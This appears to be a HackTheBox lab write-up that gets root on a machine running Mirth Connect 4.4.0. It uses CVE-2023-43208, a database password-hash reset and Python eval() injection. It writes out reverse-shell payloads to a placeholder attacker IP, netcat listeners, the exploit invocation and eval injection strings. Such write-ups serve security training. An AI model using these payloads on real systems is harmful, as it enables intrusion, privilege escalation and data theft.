HackTheBox — Interpreter Writeup
Machine Info
- Name: Interpreter
- IP: 10.129.244.184
- OS: Linux (Debian)
- Difficulty: Medium
- Key Skills: CVE Exploitation, Database Manipulation, Python eval() Injection
Summary
Interpreter is a Linux machine running Mirth Connect 4.4.0, a healthcare integration engine vulnerable to CVE-2023-43208 (pre-auth Remote Code Execution via Java deserialization). Initial access as the mirth service user leads to database credentials in plaintext config files. By resetting a user’s password hash in MariaDB, we authenticate to the Mirth Connect API. The real prize is a Flask application running as root on localhost:54321 that uses Python’s eval() on an f-string template containing user-controlled input — giving us arbitrary code execution as root.
Attack Chain:
CVE-2023-43208 → mirth shell → DB creds → Mirth API as sedric → eval() RCE as root
Reconnaissance
Port Scan
nmap -sC -sV -p- 10.129.244.184
Key open ports:
| Port | Service | Details |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Mirth Connect (redirects to 443) |
| 443 | HTTPS | Mirth Connect 4.4.0 Web Interface |
| 6661 | TCP | MLLP/HL7 Listener (Mirth Channel) |
Visiting https://10.129.244.184 presents the Mirth Connect 4.4.0 login page. This version is vulnerable to CVE-2023-43208.
Initial Foothold — CVE-2023-43208
Vulnerability Overview
CVE-2023-43208 is a pre-authentication Remote Code Execution vulnerability in NextGen Healthcare’s Mirth Connect versions up to 4.4.0. It exploits an insecure Java deserialization endpoint at /api/users that accepts crafted XML payloads with the X-Requested-With: OpenAPI header, bypassing authentication entirely.
Exploitation
Clone the public exploit:
git clone https://github.com/K3ysTr0K3R/CVE-2023-43208-EXPLOIT /tmp/CVE-2023-43208-mirth-connect-rce-poc
Start a reverse shell listener:
nc -lvnp 4446
Encode the reverse shell payload using brace-substitution to avoid bad characters:
REVSHELL='bash -i >& /dev/tcp/YOUR_IP/4446 0>&1'
B64=$(echo "$REVSHELL" | base64 | tr -d '\n')
python3 /tmp/CVE-2023-43208-mirth-connect-rce-poc/CVE-2023-43208.py \
-u "https://10.129.244.184" \
-c "bash -c {echo,$B64}|{base64,-d}|bash"
We land a shell as the mirth service user:
mirth@interpreter:/usr/local/mirthconnect$ id
uid=103(mirth) gid=111(mirth) groups=111(mirth)
Pivoting to User — Database Password Reset
Discovering Database Credentials
The Mirth Connect configuration file contains plaintext database credentials:
cat /usr/local/mirthconnect/conf/mirth.properties
Key values extracted:
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
database.username = mirthdb
database.password = MirthPass123!
keystore.storepass = 5GbU5HGTOOgE
keystore.keypass = tAuJfQeXdnPw
Enumerating System Users
cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
sedric:x:1000:1000:sedric,,,:/home/sedric:/bin/bash
The user flag is at /home/sedric/user.txt but the mirth user cannot read it.
Extracting and Resetting the Mirth Password Hash
Connect to MariaDB:
mysql -u mirthdb -p'MirthPass123!' mc_bdd_prod
View the existing password hash:
SELECT * FROM PERSON_PASSWORD;
PERSON_ID | PASSWORD | PASSWORD_DATE
2 | u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== | 2025-09-19
Mirth Connect uses Jasypt’s StandardStringDigester with SHA-256, 1000 iterations, and an 8-byte random salt. The hash format is base64(salt[8] + digest[32]).
Generate a new hash for a known password (admin123):
python3 -c "
import hashlib, os, base64
password = 'admin123'
salt = os.urandom(8)
digest = hashlib.sha256(salt + password.encode()).digest()
for i in range(999):
digest = hashlib.sha256(digest).digest()
combined = salt + digest
print(base64.b64encode(combined).decode())
"
Update the database with the new hash:
UPDATE PERSON_PASSWORD SET PASSWORD='<generated_hash>' WHERE PERSON_ID=2;
Authenticating to the Mirth API
curl -s -k -c /tmp/mirth_cookies.txt \
-H "X-Requested-With: XMLHttpRequest" \
-X POST "https://10.129.244.184/api/users/_login" \
-d "username=sedric&password=admin123"
Response: <status>SUCCESS</status> — we now have an authenticated API session as sedric.
Discovering the Root Attack Vector
Internal Service Enumeration
From the mirth shell:
ss -tlnp
LISTEN 127.0.0.1:54321 * (python3)
LISTEN 127.0.0.1:3306 * (mariadb)
LISTEN 0.0.0.0:6661 * (java - Mirth HL7 listener)
LISTEN 0.0.0.0:443 * (java - Mirth HTTPS)
Port 54321 on localhost is a Python process. Checking systemd:
cat /etc/systemd/system/notif.service
[Service]
Type=simple
ExecStart=/usr/bin/python3 /usr/local/bin/notif.py
Restart=always
User=root
WorkingDirectory=/usr/local/bin
A Flask application (notif.py) running as root. The file is owned root:sedric with permissions 0740 — meaning only root and the sedric group can read it.
Understanding the Data Flow
The existing Mirth channel “INTERPRETER - HL7 TO XML TO NOTIFY” reveals the pipeline:
HL7 message (port 6661) → Mirth transforms to XML → HTTP POST to localhost:54321/addPatient
The XML structure sent to the Flask app:
<patient>
<timestamp>2024</timestamp>
<sender_app>APP</sender_app>
<id>1</id>
<firstname>John</firstname>
<lastname>Doe</lastname>
<birth_date>01/01/2000</birth_date>
<gender>M</gender>
</patient>
Response from the Flask app:
Patient John Doe (M), 26 years old, received from APP at 2024
Root — Python eval() Injection
Discovering the Vulnerability
The machine name “Interpreter” is the hint. Testing various injection payloads in the XML fields revealed that content wrapped in {curly braces} is being evaluated as Python code.
Testing {7+7} in the firstname field:
curl -s -X POST http://127.0.0.1:54321/addPatient \
-H "Content-Type: application/xml" \
-d '<patient><timestamp>2024</timestamp><sender_app>APP</sender_app><id>1</id><firstname>{7+7}</firstname><lastname>X</lastname><birth_date>01/01/2000</birth_date><gender>M</gender></patient>'
Response:
Patient 14 X (M), 26 years old, received from APP at 2024
7+7 was evaluated to 14. Confirming RCE:
curl -s -X POST http://127.0.0.1:54321/addPatient \
-H "Content-Type: application/xml" \
-d '<patient><timestamp>2024</timestamp><sender_app>APP</sender_app><id>1</id><firstname>{__import__("os").popen("id").read()}</firstname><lastname>X</lastname><birth_date>01/01/2000</birth_date><gender>M</gender></patient>'
Response:
Patient uid=0(root) gid=0(root) groups=0(root) X (M), 26 years old, received from APP at 2024
Remote Code Execution as root.
Root Cause — The Vulnerable Code
The notif.py source (readable after gaining root) shows the vulnerability:
def template(first, last, sender, ts, dob, gender):
pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
for s in [first, last, sender, ts, dob, gender]:
if not pattern.fullmatch(s):
return "[INVALID_INPUT]"
# ... DOB validation ...
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
try:
return eval(f"f'''{template}'''")
except Exception as e:
return f"[EVAL_ERROR] {e}"
The critical line is:
return eval(f"f'''{template}'''")
User-controlled input is embedded into an f-string that is then passed to eval(). While the regex filter blocks many special characters, it allows curly braces {}, parentheses (), quotes '", and alphanumeric characters — enough to construct arbitrary Python expressions like {__import__('os').popen('id').read()}.
Capturing the Flags
User flag:
curl -s -X POST http://127.0.0.1:54321/addPatient \
-H "Content-Type: application/xml" \
-d '<patient><timestamp>2024</timestamp><sender_app>APP</sender_app><id>1</id><firstname>{open("/home/sedric/user.txt").read()}</firstname><lastname>X</lastname><birth_date>01/01/2000</birth_date><gender>M</gender></patient>'
Root flag:
curl -s -X POST http://127.0.0.1:54321/addPatient \
-H "Content-Type: application/xml" \
-d '<patient><timestamp>2024</timestamp><sender_app>APP</sender_app><id>1</id><firstname>{open("/root/root.txt").read()}</firstname><lastname>X</lastname><birth_date>01/01/2000</birth_date><gender>M</gender></patient>'
Getting a Root Shell
# Listener on attacker machine
nc -lvnp 4447
# From mirth shell on target
curl -s -X POST http://127.0.0.1:54321/addPatient \
-H "Content-Type: application/xml" \
-d '<patient><timestamp>2024</timestamp><sender_app>APP</sender_app><id>1</id><firstname>{__import__("os").popen("bash -c \"bash -i >& /dev/tcp/YOUR_IP/4447 0>&1\"").read()}</firstname><lastname>X</lastname><birth_date>01/01/2000</birth_date><gender>M</gender></patient>'
Lessons Learned
- Never use
eval()on user-controlled input — even with regex filtering, the allowed character set ({},(), quotes) was sufficient for full code execution. - Plaintext credentials in config files enabled lateral movement from the Mirth service account to database access.
- Mirth Connect’s password hashing (Jasypt SHA-256) can be replicated to forge valid credentials when you have database write access.
- Internal services running as root that accept data from lower-privileged services create privilege escalation paths.
- Machine/challenge names are hints — “Interpreter” pointed directly at Python’s code interpretation via
eval().
